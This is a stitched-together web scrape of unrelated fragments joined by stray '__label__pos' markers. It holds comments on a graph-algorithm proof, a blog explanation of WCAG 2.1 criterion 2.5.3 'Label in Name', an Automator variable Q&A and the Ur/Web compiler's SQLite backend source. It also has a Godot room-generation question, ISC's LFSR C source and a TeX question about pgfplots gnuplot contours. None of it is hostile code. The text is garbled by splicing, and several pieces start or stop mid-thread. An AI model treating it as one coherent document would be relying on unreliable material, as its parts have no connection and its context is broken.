\end{axis}
\end{tikzpicture}
\end{document}
2
It seems like my compat=newest is newer than yours because in my case it precisely instructs me what to do:
! Package pgfplots Error: Sorry, processing the input stream did not lead to en d-of-scanline markers; the generated temporary file for 'contour external' does not contain any of them (indicating that matrix structure is lost). To fix thi s, you have the following options: - Insert end-of-scanline markers into your input data (i.e. empty lines), - provide two of the three options 'mesh/rows=, mesh/cols=, mesh/num points='.
Who would resist to follow such a clear instruction? ;-) So I
1. added empty lines to the data and
2. mesh/rows=3, mesh/cols=3 to the plot command
and got
\documentclass[11pt]{article}
\usepackage{pgfplots}
\pgfplotsset{compat=newest}
\usepackage{pgfplotstable}
\pgfplotstableread{
x y z
-1 -1 2
-1 0 1
-1 1 2
0 -1 1
0 0 0
0 1 1
1 -1 2
1 0 1
1 1 2
}{\data}
\begin{document}
%Now working
\begin{tikzpicture}
\begin{axis}[view={0}{90}]
\addplot3 [contour gnuplot={levels={1},labels=false,draw color=black},
mesh/rows=3, mesh/cols=3] table[x={x}, y={y}, z={z}]{\data};
\end{axis}
\end{tikzpicture}
\end{document}
enter image description here
| improve this answer | |
• Hmm. Seems like the error message might have been cut off by my editor. – Nicky Mattsson Mar 12 '19 at 16:41
• @NickyMattsson When was the last time you updated your TeX installation? – user121799 Mar 12 '19 at 16:41
• I am running TeX live 2016 – Nicky Mattsson Mar 12 '19 at 16:45
• 1
@NickyMattsson I think this is the reason. The newer version comes with a clearer error message/clearer instructions. Some exciting things have happened since 2016. Apart from the above thingy, the tikzmark library has now the really cool command \tikzmarknode and, most importantly, the tikzlings package got added. ;-) So you may want to update. – user121799 Mar 12 '19 at 16:47
• 1
I am always terrified of updating my TeX distribution - but this definitely sounds like it would be worth it. – Nicky Mattsson Mar 12 '19 at 17:58
Your Answer
By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.93967 |
Работа с реестром.
Работа с реестром.
Сейчас уже стало стандартом, что настройки программы, важные (да и не очень) параметры храняться в реестре Windows. По этой причине и в KOL существует поддержка работы с реестром. Нельзя сказать, что эти инструменты такие же мощные, как и TRegister в VCL, но необходимый минимум найдется.
Работа с регистром в KOL построена с помощью функций. Их список я привожу в таблице с кратким описанием (хотя человек знакомый с TRegister поймет их и так).
Функция Выполняемое действие
Функции для работы с ключами
RegKeyOpenCreate
Создание ключа и его открытие
function RegKeyOpenCreate( Key: HKey; const SubKey: String ): HKey;
RegKeyOpenRead
Открытие ключа для чтения
function RegKeyOpenRead( Key: HKey; const SubKey: String ): HKey;
RegKeyOpenWrite
Открытие ключа для записи
function RegKeyOpenWrite( Key: HKey; const SubKey: String ): HKey;
RegKeyClose
Закрытие ключа регистра ранее открытого с помощью RegKeyOpenRead или RegKeyOpenWrite
procedure RegKeyClose( Key: HKey );
RegKeyDelete
Удаление ключа регистра
function RegKeyDelete( Key: HKey; const SubKey: String ): Boolean;
RegKeyExists
Возвращение true, если "подключ" (SubKey) существует в данном ключе (Key)
function RegKeyExists( Key: HKey; const SubKey: String ): Boolean;
RegKeyGetSubKeys
Возвращение в List список всех "подключей"(ниже лежащих ключей) для ключа Key
function RegKeyGetSubKeys( const Key: HKEY; List: PStrList ): Boolean;
Функции для работы с переменными
RegKeyDeleteValue
Удаление из ключа Key переменной с именем Value.
function RegKeyDeleteValue( Key: HKey; const Value: String ): Boolean;
RegKeyValExists
Возвращение TRUE, если параметр ValueName существует в ключе Key.
function RegKeyValExists( Key: HKey; const ValueName: String ): Boolean;
RegKeyValueSize
Возвращает размер переменной(ValueName). Для переменных типа строка (string) возвращаемое значение равно длине строки + 1 (нулевой символ)
function RegKeyValueSize( Key: HKey; const ValueName: String ): Integer;
RegKeyGetValueNames
Возвращает список всех имен переменных находящихся в ключе Key
function RegKeyGetValueNames( const Key: HKEY; List: PStrList ): Boolean;
RegKeyGetValueTyp
Возвращает тип переменной под именем ValueName. Возвращаемое значение может быть следующие :
REG_BINARY , REG_DWORD, REG_DWORD_LITTLE_ENDIAN,
REG_DWORD_BIG_ENDIAN, REG_EXPAND_SZ, REG_LINK , REG_MULTI_SZ,
REG_NONE, REG_RESOURCE_LIST, REG_SZ
function RegKeyGetValueTyp( const Key: HKEY; const ValueName: String ): DWORD;
Функции для работы с переменными DWORD
RegKeyGetDw
Чтение из ключа данных типа DWORD. Если чтение не успешно, то возвращение 0
function RegKeyGetDw( Key: HKey; const ValueName: String ): DWORD;
RegKeySetDw
Запись в ключ данных типа DWORD.
function RegKeySetDw( Key: HKey; const ValueName: String; Value: DWORD ): Boolean;
Функции для работы с переменными STRING
RegKeyGetStr
Чтение из ключа данных типа String. Если чтение не успешно, то возвращение пустой строки
function RegKeyGetStr( Key: HKey; const ValueName: String ): String;
RegKeyGetStrEx
Чтение из ключа данных типа String. Если чтение не успешно, то возвращение пустой строки. Расширенный по саоим возможносям вариант RegKeyGetStr.
function RegKeyGetStrEx( Key: HKey; const ValueName: String ): String;
RegKeySetStr
Запись в ключ данных типа String.
function RegKeySetStr( Key: HKey; const ValueName: String; const Value: String ): Boolean;
Функции для работы с переменными BINARY
RegKeyGetBinary
Чтение из ключа данных типа binary. Происходит запись данных из реестра в буфер Buffer размером Count. На выходе у функции количество прочитанных байт.
function RegKeyGetBinary( Key: HKey; const ValueName: String; var Buffer; Count: Integer ): Integer;
RegKeySetBinary
Запись в ключ данных типа Binary.
function RegKeySetBinary( Key: HKey; const ValueName: String; const Buffer; Count: Integer ): Boolean;
Функции для работы с датой
RegKeyGetDateTime
Чтение из переменной с именем ValueName дыты. В реестре эти данные хранятся в бинарном виде.
function RegKeyGetDateTime( Key: HKey; const ValueName: String ): TDateTime;
RegKeySetDateTime
Запись даты в реестр.
function RegKeySetDateTime( Key: HKey; const ValueName: String; DateTime: TDateTime ): Boolean;
Для начала работы с каким-либо ключом регистра, вы должны открыть его с помощью функций RegKeyOpenRead, RegKeyOpenWrite или RegKeyOpenCreate. В первом параметре должен передаватся HKey какого нибудь ранее открытого ключа или одна из следующих констант:
HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS
Второй параметр:SubKey - имя ключа расположенного ниже Key.
После того как вы открыли ключ, вы можете записывать и читать данные. Ну и логическое завершение всего процесса - это команда RegKeyClose, т.е. закрытие ключа, если он вам больше не нужен.
Пример чтения и записи в реестра:
program Primer_1;
uses
windows,
messages,
kol;
{$R *.RES}
const
KeyWin = 'SOFTWARE\Microsoft\Windows\CurrentVersion';
var
Form,
edOption,
buOption,
List,
panTop:pControl;
Key:HKey;
///////////////////////////////////////////////////////////
Procedure ClickOnList( Dummy : Pointer; Sender : PControl );
begin
// чтение из реестра
Key := RegKeyOpenRead(HKEY_LOCAL_MACHINE,KeyWin);
edOption.Text := RegKeyGetStr(Key,List.Items[List.CurIndex]);
RegKeyClose(Key);
end;
///////////////////////////////////////////////////////////
Procedure ClickOnButton( Dummy : Pointer; Sender : PControl );
begin
// запись в реестра
if edOption.Text='' then exit;
Key := RegKeyOpenWrite(HKEY_LOCAL_MACHINE,KeyWin);
RegKeySetStr(Key,List.Items[List.CurIndex],edOption.Text);
RegKeyClose(Key);
end;
///////////////////////////////////////////////////////////
begin
Form := NewForm(Applet,'Пример работы с реестром').SetSize(400,200);
// можно было обойтись и Form.CanResize := false
Form.Style := WS_BORDER or WS_SYSMENU or WS_VISIBLE;
Form.Font.FontName := 'MS Sans Serif';
Form.Font.FontHeight := 8;
panTop := NewPanel(Form,esRaised).SetAlign(caTop);
edOption := NewEditbox(panTop,[]);
buOption := NewButton (panTop,'Применить').PlaceRight;
buOption.OnClick := TOnEvent( MakeMethod( nil, @ClickOnButton ) );
List := NewListbox(Form,[]).SetAlign(caClient);
List.Add('ProductId');
List.Add('ProductName');
List.Add('RegisteredOrganization');
List.Add('RegisteredOwner');
List.Add('Version');
List.Add('VersionNumber');
List.OnClick := TOnEvent( MakeMethod( nil, @ClickOnList ) );
// ----- Наводим красоту жонглируя с размерами.--------
// Можно и не вникать :)
edOption.Width := panTop.Width - buOption.Width-10;
buOption.Left := edOption.Width+ 4 ;
panTop.Height := edOption.Height+10;
//-----------------------------------------------------
Run(Form);
end.
Исходный текст : 1,92 Кб ; размер программы: 30Кб (без сжатия и замены System)
Если вы читали мои предыдущие монологи про KOL, вам должно быть в основном все понятно. Не говорил я только про свойства Font.FontName и Font.FontHeight, но тут можно вполне догадатся, что мы меняем параметры шрифта.
Опубликовал admin
5 Май, Понедельник 2003г.
Программирование для чайников.
|
__label__pos
| 0.588758 |
Generic Top
I just announced the new Learn Spring course, focused on the fundamentals of Spring 5 and Spring Boot 2:
>> CHECK OUT THE COURSE
1. Overview
Apache Commons BeansUtils contains all tools necessary for working with Java beans.
Simply put, a bean is a simple Java classes containing fields, getters/setters, and a no-argument constructor.
Java provides reflection and introspection capabilities to identify getter-setter methods and call them dynamically. However, these APIs can be difficult to learn and may require developers to write boilerplate code to perform simplest operations.
2. Maven Dependencies
Here is the Maven dependency need to be included in the POM file before using it:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.3</version>
</dependency>
The newest version can be found here.
3. Creating a Java Bean
Let’s create two bean classes Course and Student with typical getter and setter methods.
public class Course {
private String name;
private List<String> codes;
private Map<String, Student> enrolledStudent = new HashMap<>();
// standard getters/setters
}
public class Student {
private String name;
// standard getters/setters
}
We have a Course class that has a course name, course codes and multiple enrolled students. Enrolled Students are identified by unique enrollment Id. Course class maintains enrolled students in a Map object where enrollment Id is a key, and the student object will be the value.
4. Property Access
Bean properties can be divided into three categories.
4.1. Simple Property
Single-value properties are also called simple or scalar.
Their value might be a primitive (such as int, float) or complex type objects. BeanUtils has a PropertyUtils class that allows us to modify simple properties in a Java Bean.
Here is the example code to set the properties:
Course course = new Course();
String name = "Computer Science";
List<String> codes = Arrays.asList("CS", "CS01");
PropertyUtils.setSimpleProperty(course, "name", name);
PropertyUtils.setSimpleProperty(course, "codes", codes);
4.2. Indexed Property
Indexed properties have a collection as a value that can be individually accessed using an index number. As an extension to JavaBean, BeanUtils considers java.util.List type values as indexed as well.
We can modify an indexed property individual value using a PropertyUtils’s setIndexedProperty method.
Here is example code modifying indexed property:
PropertyUtils.setIndexedProperty(course, "codes[1]", "CS02");
4.3. Mapped Property
Any property that has a java.util.Map as the underlying type is called a mapped property. BeanUtils allows us to update the individual value in a map using a String-valued key.
Here is the example code to modify the value in a mapped property:
Student student = new Student();
String studentName = "Joe";
student.setName(studentName);
PropertyUtils.setMappedProperty(course, "enrolledStudent(ST-1)", student);
5. Nested Property Access
If a property value is an object and we need to access a property value inside that object – that would be accessing a nested property. PropertyUtils allow us to access and modify nested properties as well.
Assume we want to access the name property of Student class through Course object. We might write:
String name = course.getEnrolledStudent("ST-1").getName();
We can access the nested property values using getNestedProperty and modify the nested property using setNestedProperty methods in PropertyUtils. Here is the code:
Student student = new Student();
String studentName = "Joe";
student.setName(studentName);
String nameValue
= (String) PropertyUtils.getNestedProperty(
course, "enrolledStudent(ST-1).name");
6. Copy Bean Properties
Copying properties of one object to another object is often tedious and error-prone for developers. BeanUtils class provides a copyProperties method that copies the properties of source object to target object where the property name is same in both objects.
Let’s create another bean class as Course we created above with same properties except it will not have enrolledStudent property instead property name will be students. Let’s name that class CourseEntity. The class would look like:
public class CourseEntity {
private String name;
private List<String> codes;
private Map<String, Student> students = new HashMap<>();
// standard getters/setters
}
Now we will copy the properties of Course object to CourseEntity object:
Course course = new Course();
course.setName("Computer Science");
course.setCodes(Arrays.asList("CS"));
course.setEnrolledStudent("ST-1", new Student());
CourseEntity courseEntity = new CourseEntity();
BeanUtils.copyProperties(courseEntity, course);
Remember this will copy the properties with the same name only. Therefore, it will not copy the property enrolledStudent in Course class because there is no property with the same name in CourseEntity class.
7. Conclusion
In this quick article, we went over the utility classes provided by BeanUtils. We also looked into different types of properties and how can we access and modify their values.
Finally, we looked into accessing nested property values and copying properties of one object to another object.
Of course, reflection and introspection capabilities in the Java SDK also allow us to access properties dynamically but it can be difficult to learn and require some boilerplate code. BeanUtils allows us to access and modify these values with a single method call.
Code snippets can be found over on GitHub.
Generic bottom
I just announced the new Learn Spring course, focused on the fundamentals of Spring 5 and Spring Boot 2:
>> CHECK OUT THE COURSE
|
__label__pos
| 0.847017 |
MacOS – How to select part of the text of a link in Safari 14.0 on macOS 10.15.7
macossafari
I asked a very similar question before: Select and copy part of the text from a link in Safari
How can I copy only a section of text from a hyper link? For example in google results:
enter image description here
How can I copy "Inosuke Hashibira" from that link?
Previously, the only solution was to use a custom extension or userscript.
Now two years have passed, and I can't figure out how to add custom extensions anymore. I also don't really want to go through all the trouble of installing a userscript manager just for this, especially since Safari's not very friendly to extension developers and often breaks them every update, and (probably because of this) developers don't seem to care for supporting Safari.
How can I select part of a link in Safari nowadays?
Best Answer
Not the most eloquent way of doing it but still delivers results without any extension.
Hover over link, open contextual menu (two finger press), select 'Inspect Element' (this will open split window and land you on selected element), enter image description here
double click on text between span tags (to make text field 'active'), copy needed part of text, close split window.
enter image description here
|
__label__pos
| 0.810642 |
Is there a way to quickly toggle between snappy & smooth dragging of the gumball?
I prefer working with smooth dragging but sometimes I think it would be useful to quickly change to snappy dragging using a shortcut. I imagine this to be a button one could press while dragging already. Similar to pressing alt to temporarily turn off the object snaps or pressing shift to temporarily turn Ortho off/on.
Is there something like this? And if not, would it be possible to consider it?
Hello - there is not a ‘Alt-style’ key but you can use
_GumballSettings _SnappyGumball _Enter
as a toggle to an F-key in Options > Keyboard
-Pascal
|
__label__pos
| 0.999785 |
Skip to main content
@gasket/data
Helper package for accessing embedded Gasket Data in the browser.
Installation
npm i @gasket/data
Usage
This helper is intended for use in conjunction with Gasket Data embedded in a script tag in the HTML document.
For example, if the following data is rendered...
<script id="GasketData" type="application/json">{ "something": "interesting" }</script>
...then it would be accessible as:
import gasketData from '@gasket/data';
console.log(gasketData.something); // interesting
Note that @gasket/data is only expected to be used in the browser, and not in server-side code.
Adding Data
To add to the data exposed in @gasket/data, you can write to the HTTP response object's locals.gasketData property. For example, when using the middleware lifecycle in a plugin:
module.exports = {
hooks: {
middleware(gasket, app) {
return (req, res, next) => {
res.locals.gasketData = res.locals.gasketData || {};
res.locals.gasketData.example = { fake: 'data' };
next();
}
}
}
};
The results of res.locals.gasketData should then be rendering in a script as described above. Similarly, this can be done in an application lifecycle script:
// /lifecycles/middleware.js
module.exports = (gasket, app) => [
(req, res, next) => {
res.locals.gasketData ??= {};
res.locals.gasketData.example = gasket.config.somethingWeWantToExpose;
}
];
License
MIT
|
__label__pos
| 0.949415 |
The World of IoT Sensors
As our facility of the internet has increased, our knowledge for internet-related things has also increased. Due to this, the Internet of Things (IoT) has become a well-known term these days. If we explain it in simple terms, it means to take all the things in the world and link them through the internet. The IoT has made it possible to grow the network of internet- connected electronic devices that are now in action around the world.
Tens of billions of IoT-connected devices already exist globally and this number is expected to only grow as internet connectivity arises to become a standard feature for electronic devices. In 2017, the market revenue for IoT technology reached $100 billion for the first time. By 2025, it has been suggested that this number will grow to around 1.6 trillion. This is because IoT has transformed the way industries are interacting with their customers.
What Role Does Sensors Play in IoT?
We are all surrounded by many electronic devices ranging from smartphones to LED televisions, wearable devices, and others connected through IoT. All these devices use sensors to carry out all technical operations. This makes IoT directly related to these sensors. The IoT sensors can monitor health status (in the form of blood pressure, pulse, blood sugar, etc.), home security (in the form of cameras), air quality, etc and are also extensively used in the form of industrial IoT to monitor production processes. Therefore, it is important that every person knows how these IoT sensors work and how we can utilise them to acquire relevant information.
In a layman term, a sensor can be a device that is able to detect fluctuations in the environment. However, a sensor is useless by itself, unless it is connected to an electronic device where it plays a crucial role. Afterward, when a sensor measures a physical phenomenon (like pressure, temperature, blood pressure, physical activity, etc.), it transforms that into an electric signal. The sensor can sense these physical phenomena only when:
• It is sensitive to the phenomenon of interest
• It is not sensitive to other physical phenomena
• It accurately transforms information of measured phenomenon into electric signal without any alteration
The different types of applications use different types of sensors to collect data from the environment. In IoT, the sensors are a form of front end participants because they are the ones collecting data from the environment. They are connected directly or indirectly to the IoT devices. E.g., the digital sensors are upfront and easy to interface with a microcontroller and on the other hand, the analogue sensors are indirectly connected through an analogue-to- digital converter to convert the data into output.
Accordingly, the commonly used sensors that are extensively adopted in everyday life include light sensors, gas sensors, motion sensors, thermometers, water quality sensor, chemical sensor, smoke sensor, infrared sensor, humidity sensors, etc. To understand intensely how these sensors work, let’s have a look at one of these below.
Smoke Sensor
As the name interprets, a smoke sensor has the ability to sense smoke (gases and air-borne particulates) in the environment and its levels. Smoke sensors were in use for a longer time, but with the advancement in the form of IoT, the smoke sensors became more effective. The IoT allowed these smoke sensors to be plugged into a system that instantly reflects the user about any problem that occurs in different industries dealing regularly with smoke.
Smoke sensors are widely used by manufacturing industries, buildings (mostly hotels) and other places to detect fire and gas events.
Smoke Sensors are further categorised into two parts depending on the principle they use to sense smoke.
Optical Smoke Sensor: Basically, when the light from the light source is passed through the air chamber, it reaches the photosensor to signal if any contamination is detected in the air.
Ionization Smoke Sensor: The ionization smoke sensor works on the principle of ioniation, i.e., the kind of chemistry used to detect molecules causing a triggered alarm.
Data from the sensors can be used by storing it in the systems and using it later to analyse different phenomena. As IoT applications are growing, they are increasing the demand for sensors also. Although, there is a wide range of sensors available, but when applying with IoT devices, the choice for a right sensor as well as a right IoT platform is critical for accurate output.
Recent Posts
Why You Should Keep Track of Intellectual Property Metadata?
How Using a Negative Claim Restriction Can Be a Positive Patent Strategy?
Where Can I Identify Relevant Patents Using Non-Patent Literature?
What is the Punishment for Patent Infringement?
Can You Steal an Abandoned Patent?
What Happens When A Patent Is Invalidated?
How to Avoid Intellectual Property Infringement?
5 Best Practices for Patent Portfolio Management
How to Invalidate a Patent in 10 Easy Steps
How to Monetize Your IP?
How to safeguard your IP in the metaverse?
Defending Against Infringement Claims with Patent Invalidation
Patent Invalidation or Validation Search
Advantages of Competitive Landscape Analysis
Taming Patent White Space Analysis
How to Patent Your Invention: Patent Landscaping
How Lifi Technology is Transforming Wireless Internet
Artificial Intelligence- The Future of Innovation
How will the metaverse unfold and transform enterprises? Everything you need to know
Will a biosimilar work the same as the original product? Facts you may not know
Which is a Better Approach for Protecting Your Innovation – Patents or Trade Secrets?
How to Adopt Patent Monitoring Services to Track The Patent Filings Of The Competitors
What are the Essential Questions to Ask a Patent Attorney about Legal Expenses and Intellectual Property?
The Importance of Audits on Intellectual Property Risks is Present if the Audits aren’t Done
A Perfect Guide To Protecting Your Neural Networks and Machine Learning Inventions
Guide To Patenting Your Product- How To Conduct A Patentability Search
Hiring a Patent Licensing Professional is Extra Beneficial for your Invention. How?
Challenges which are Posing a Threat to Inventors in Intellectual Property
A Comprehensive Guide On Patent Analytics
Importance, Purpose, Processes and Methods of Patent Claim Charts and Construction
Patent Prior Art Search and 4 Quick Ways to do it
Does Your Organization Have an Intellectual Property Vision?
The Complete Guide to Patent Licensing
Importance of Patents in the Pharmaceutical Industry
Patents Guide and the Patent Process Explained in Simple Terms
5 Tips on How to Patent Your Research
How to Get a Patent & How much will it cost to get a patent?: Everything You Need to Know
Patent Due Diligence — Have You Covered All Your Bases?
How do startups influence the industrial market and why you should keep a track of it?
Patent Strategy: Boosting New Business Opportunities
Supporting Entrepreneurship And Innovation Through Tech-enabled Lawyers of the Future
Integrating Traditional IP Rights and Open Access Initiatives
Breaking the common confusions among Patent Agents and Patent Attorneys
Is your Patent Prosecution Support as effective as it could be?
How to Find Your Business’s White Space Opportunities
A Framework to Extract ROI from Your Patent Portfolio
How Competitive Landscape Analysis can Lead to an Effective R&D Strategy?
Why Vaccine patents are a contentious issue?
Electric Cars – leading our way to a better future
6g Technology VS 5g A Perfect time to lock Your Patent
The dawn of Artificial intelligence and Intellectual Property System
Automotive Cars: A Self driving Future
HR Analytics
Coronavirus Treatment : Prospective Vaccines / Drugs
ABC: All About Covid-19
The New Normal
The New 5G Technology Wave
The World of IoT Sensors
Unleash the Power of your Diverse Portfolio and Size Up Revenues
|
__label__pos
| 0.998355 |
Technology
What are the Problems of Internet ?
Problems of Internet
What are the Problems of Internet?
Problems of Internet: IT departments need to troubleshoot issues with the connection speed, Wi-Fi signal strength, and damaged cables. Experts from the field of networking and IT have analyzed the most common causes of network connectivity issues and offered up solutions. To help IT departments prevent and fix problems with their internet network connections. The most common causes of network connection issues are: Weak Wi-Fi signal due to the use of older wireless routers. Cabling that has been damaged by water, power surges or other environmental factors such as humidity, dust, heat and movement.
Cables that have been cut or broken on one end or both ends. Network congestion due to a lack of available bandwidth in the cloud and insufficient computing power on the router. A weak Wi-Fi signal can cause a variety of problems for your devices and the Wi-Fi connection itself. A weak signal can prevent your laptop, tablet, or other devices from being able to connect and prevents the router from being able to get a strong enough signal in order to serve all of your internet services properly.
About the Internet:
The Internet is a revolutionary invention that changed the world into a global village. It has given us many conveniences like information, entertainment and social interaction. However, the internet is also responsible for some of the world’s most pressing problems. such as cyber-bullying and the spread of rumors. The internet has a bad rap in many people’s eyes because it allows for anonymous attacks or criticism to escalate quickly and become personal. However, the internet is also responsible for billions of dollars in profits every year, which can be measured as our global economy has grown dramatically since then.
What is the Solution of Internet Problems?
The Internet is a platform that has been used in almost every aspect of our lives. It has made it possible to connect people all over the world while providing us with access to a wide variety of information. However, this platform is also plagued with problems such as spam, hacking, and cyber-bullying. This means that not every user can enjoy the Internet seamlessly and safely.
This project will be a safe haven for people who are afraid of what they can find on the Internet. It will provide a platform where users can share their thoughts and feelings about the problems that plague the Internet. The main goal of this project is to create an app which helps people feel safe and secure when using the Internet, especially when they are worried about what threats may lurk on their favorite social media platform.
Is Internet Useful or harmful?
Internet has been a valuable tool for the betterment of humanity in many ways. It is also a cause of concern for many people who claim that it is harmful to human beings. This question gets asked often and the answer varies on the basis of different people’s interpretations.
The internet has brought about many changes in the world. It has helped scientists to collaborate and provided a platform for social movements to take shape. On the other hand, it also serves as a tool for terrorists, cyberbullies and trolls. It is a cause of concern for many people who believe that the internet is detrimental to human beings.
What are the Advantages of Internet?
The internet has been a huge benefit to society in many ways, from connecting people from all over the world getting information on specific topics. It is also more accessible than ever before; with its incredible accessibility and power to connect people, it has enabled the world to become a more globalized place. The internet also makes it easier for companies and individuals to communicate with one another through websites like Facebook, Twitter, and Instagram.
The internet has also made it easier for people to find and purchase goods, which is largely due to Amazon’s recent company overhaul in the past five years, growing from a website primarily used for book sales into a global online shopping behemoth. When it comes to social media, the internet has been a huge benefit to society by connecting people to one another and providing them with information from all over the world.
What are the Disadvantages of Internet?
When the internet first came out, it was a new way for people to communicate. It provided a new platform for people to share their thoughts and opinions with each other. Now-a-days, almost every person is connected online. With that said, there are many advantages of the internet, but there are also some disadvantages as well.
The advantages of the internet are that any person can share their ideas or comments with everyone, there is a variety of information sources available, and people can find new things they might be interested in. The disadvantages of the internet are that some people may have feelings of personal safety with all the information out there like pornography and other types of violence.
Conclusion
The children spend too much time on screen and the teachers are failing to keep up with what their students are doing. There is a need for regulation in place to avoid any negative effects of this trend. We should use the internet as an educational tool to help children. Parents should be aware of how much time their children spend online and set a timer for when they should not be allowed to use the internet.
Related Articles
Check Also
Close
Back to top button
|
__label__pos
| 0.944071 |
exception in java
Ads
Share on Google+Share on Google+
gayathirivivek
exception in java
1 Answer(s) 6 years and 10 months ago
Posted in : Java Beginners
StringIndexOutOfBounds Exception in flames program
Ads
View Answers
December 3, 2010 at 4:20 PM
Hi Friend,
We have providing you a program. Try it:
import java.util.*;
public class FlamesProgram{
static String name1 = "";
static String name2 = "";
public void setNames( String name1, String name2 ){
this.name1 = name1.toLowerCase().trim().replaceAll( " ", "" );
this.name2 = name2.toLowerCase().trim().replaceAll( " ", "" );
}
private String find(){
String difference = "";
String temName = this.name2;
for( int i=0; i<name1.length(); i++ ){
String a = name1.charAt(i) + "";
if( name2.indexOf( a ) != -1 ){
name2 = name2.replaceFirst( a, "" );}
else{difference += a;}
}
difference += name2;
this.name2 = temName;
return difference;
}
public String getFLAMES(){
String flamesResult = "";
int difference = find().length();
if( difference == 0 ){
if( name1.equals( name2 ) )
return "Names are same";
else
return "Error in finding flame";
}
String fs[] = { "FRIEND", "LOVE", "AFFAIR", "MARRIAGE", "ENEMY", "SISTER/BROTHER" };
int k=0;
for( int i=5; i>0; i-- )
{int j=1;
while( j < difference ){
k++;
if( k == fs.length )
k = 0;
j++;
}
String fs1[] = new String[i];
int m = 0;
for( int l=0; l<fs.length; l++ )
if( l != k )
fs1[m++] = fs[l];
fs = fs1;
if( k == fs.length )
k = 0;
flamesResult = fs[0];
}
return flamesResult;
}
public static void main(String[] args){
Scanner input=new Scanner(System.in);
FlamesProgram fl = new FlamesProgram();
System.out.println("Enter Name 1: ");
name1=input.nextLine();
System.out.println("Enter Name 2: ");
name2 = input.nextLine();
fl.setNames( name1, name2 );
System.out.println( "Your Relationship is : "+ fl.getFLAMES() );
}
}
Thanks
Ads
Related Tutorials/Questions & Answers:
Exception Java
Exception Java Hi, What are the Exception Java? Thanks Hi, Read it at Java Exception. Thanks
Java exception
Java exception What happens if an exception is not caught
Advertisements
Java exception
Java exception Can an exception be rethrown
Java Exception
Java Exception Which is superclass of Exception
java exception
java exception define an exception called no match exception tat z... { public static void main(String[] args) throws Exception { String z="Hello"; if(!z.equals("India")){ throw new Exception
Java exception
Java exception What is the difference between Checked and Unchecked exception
Java exception
Java exception What is the difference between exception and error
exception in java - Java Beginners
exception in java exception in java
Java Exception
Java Exception Explain about checked and unchecked Exceptions... this exception will be caught by a well-written application and will also prompt... to the constructor. Well in this case the exception could be caught by the application
Java Exception
Java Exception What are monitors
Java Exception
Java Exception What are Chained Exceptions
Java exception
Java exception What is NullPointerException and how to handle
Java exception
Java exception Can try statements be nested
Java Exception
Java Exception What is the purpose of finalization
Java Exception
Java Exception Why Runtime Exceptions are Not Checked
Java Exception
Java Exception What is ?Resource leak
Java Exception
Java Exception Why Errors are Not Checked
Java Exception
Java Exception Can a catch block exist without a try block
Java Exception
Java Exception If I write System.exit (0); at the end of the try block, will the finally block still execute
exception in java
exception in java StringIndexOutOfBounds Exception in flames program Hi Friend, We have providing you a program. Try it: import java.util.*; public class FlamesProgram{ static String name1 = ""; static
Java exception handling
Java exception handling what are the constraints imposed by overriding on exception handling
null pointer exception in java
null pointer exception in java What is null pointer exception in Java and when it occurs? Show it with an example.Thanks! Java Null Pointer Exception
java exception handle
java exception handle How error can be handled in the exception class?? can we handle fatal error in java
Java Exception - Java Beginners
Java Exception Why we are using throws in the java program even if we have try...catch block? If throws will throw the exception then who will catch... links: http://www.roseindia.net/java/exceptions/how-to-throw-exceptions.shtml
exception in java - Java Beginners
exception in java exception in java Hi Friend, Exceptions are the errors that occur during the execution of the program. Exceptions...: http://www.roseindia.net/java/exceptions/ Thanks
Java exception handling
Java exception handling How does a try statement determine which catch clause should be used to handle an exception
Exception - Java Beginners
What is Exception in Java What is the Exception that occurs while running the application in Java
Java exception handling
Java exception handling How does a try statement determine which catch clause should be used to handle an exception
Java exception handling
Java exception handling What is the catch or declare rule for method declarations
Java exception handling
Java exception handling What is the difference between throw and throws keywords
Exception - Java Beginners
Chained Exception in Java What is the Chained Exception in Java? Chained Exception in JavaChained Exception in Java, this is a new... of exceptions, and these exception can be caused by another exception.Exceptions in Java
Ads
Advertisement null
Ads
|
__label__pos
| 0.951862 |
How to Hire Julia Programming Language Developers?
Untitled
Julia, the programming language that’s been gaining significant momentum, is causing waves across various industries. Designed by Jeff Bezanson, Alan Edelman, Stefan Karpinski and Viral B. Shah, Julia has become the go-to choice for professionals in fields like data science, scientific computing, and more. The surge in demand for Julia developers reflects the language’s growing prominence.
In this article, we’ll delve into the world of Julia programming and explore the unique attributes that make it a standout choice. From its remarkable speed and versatility to its significance in numerical and scientific computing, we’ll uncover why Julia has captured the attention of developers and organizations alike.
But the journey doesn’t end there. Finding and hiring skilled Julia developers can be a challenge, given the competitive landscape and the scarcity of experienced professionals. That’s where TurnKey Labs comes into play, offering a tailored solution that simplifies the process and ensures you have the right Julia developer for your needs. Let’s dive in and discover how Julia and TurnKey Labs can shape your development endeavors.
Table of Contents
The Importance of Julia Developers
In the sectors of data science, scientific computing, and various other fields, the role of Julia developers has taken center stage. Their significance cannot be overstated, given the unique skills and expertise they possess.
Powering Data Science
Julia developers are the driving force behind data science initiatives. The language’s speed and efficiency make it exceptionally well-suited for data analysis, machine learning, and statistical modeling. With Julia, an open-source programming language, data scientists can work with massive datasets and complex algorithms without sacrificing performance or scalability. Julia developers bring to the table the ability to harness this power effectively, turning raw data into actionable insights.
Advancing Scientific Computing
In the realm of scientific computing, precision and speed are paramount. Julia developers excel in this arena, leveraging the language’s high-performance capabilities to solve intricate scientific problems. Whether it’s simulating complex physical systems, conducting computational research, or analyzing experimental data, Julia developers possess the expertise to push the boundaries of scientific discovery.
Bridging the Gap
What sets Julia developers apart is their ability to bridge the gap between scientific research and practical applications. They possess a deep understanding of both the scientific principles underlying a problem and the technical skills required to implement solutions efficiently. This unique combination of domain knowledge and programming prowess makes them invaluable assets in multidisciplinary projects.
Innovation Catalysts
Julia developers are at the forefront of innovation, continuously pushing the envelope of what’s possible in data-driven fields. Their ability to develop and optimize algorithms at a rapid pace accelerates the development of groundbreaking technologies and applications.
In a world driven by data and scientific exploration, Julia developers are the linchpin, ensuring that the potential of the Julia programming language is fully realized. Their specialized skills and expertise make them indispensable for organizations seeking to harness the power of Julia for data science, scientific computing, and beyond.
Why Julia?
Julia stands out as a remarkable and dynamic choice among other programming languages, particularly for numerical and scientific computing. Its appeal lies in a unique blend of features and advantages that set it apart from the rest, making it the preferred tool for those seeking top-tier performance and versatility.
